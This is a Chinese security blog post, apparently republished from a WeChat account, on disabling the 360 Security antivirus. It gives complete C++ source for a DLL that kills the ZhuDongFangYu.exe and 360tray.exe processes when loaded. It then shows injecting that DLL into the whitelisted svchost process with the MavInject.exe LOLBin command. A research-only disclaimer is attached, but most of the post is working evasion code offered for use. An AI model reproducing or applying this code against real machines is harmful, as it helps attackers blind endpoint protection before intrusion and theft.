杀死那个名为360安全的软件

admin 2024年10月7日13:41:14评论30 views字数 1448阅读4分49秒阅读模式

通过上一篇文章我们知道可以通过搜索字符串来判断杀软的拦截规则,

知“白”守黑:防病毒软件的致命弱点—排除项与白名单

参考这个https://bbs.kanxue.com/thread-281120.htm逆向分析以及我们的内存搜索,我们可以发现许多白名单进程,特别是一些系统常驻进程。白名单进程因为受到防病毒软件的信任,往往不会被严格监控,因此可以作为攻击者的突破口。

在这些常驻进程中,svchost(Service Host Process)是一个较为典型的例子。

杀死那个名为360安全的软件

svchost 是Windows系统中的核心进程,用于托管和运行各种服务,具有极高的系统权限。然而,svchost 并非PPL(Protected Process Light)进程,所以我们可以很轻松的对它冻手

杀死那个名为360安全的软件

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <tlhelp32.h>// 查找并终止指定的进程bool TerminateProcessByName(const wchar_t* processName) {    // 获取系统进程快照    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE) {        return false;    }    PROCESSENTRY32 processEntry;    processEntry.dwSize = sizeof(PROCESSENTRY32);    // 遍历进程列表    if (Process32First(hSnapshot, &processEntry)) {        do {            // 如果找到匹配的进程名            if (wcscmp(processEntry.szExeFile, processName) == 0) {                HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, processEntry.th32ProcessID);                if (hProcess != NULL) {                    // 终止进程                    TerminateProcess(hProcess, 0);                    CloseHandle(hProcess);                }            }        } while (Process32Next(hSnapshot, &processEntry));    }    CloseHandle(hSnapshot);    return true;}void kill() {    TerminateProcessByName(L"ZhuDongFangYu.exe");    TerminateProcessByName(L"360tray.exe");}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        kill();    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

编译以上DLL后选择你喜欢的任意一种注入方式,这里为了方便演示,我们使用LOLBin进行注入

杀死那个名为360安全的软件

MavInject.exe 3110 /INJECTRUNNING c:folderevil.dll

 

原文始发于微信公众号(老鑫安全):杀死那个名为360安全的软件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日13:41:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   杀死那个名为360安全的软件https://cn-sec.com/archives/3236597.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息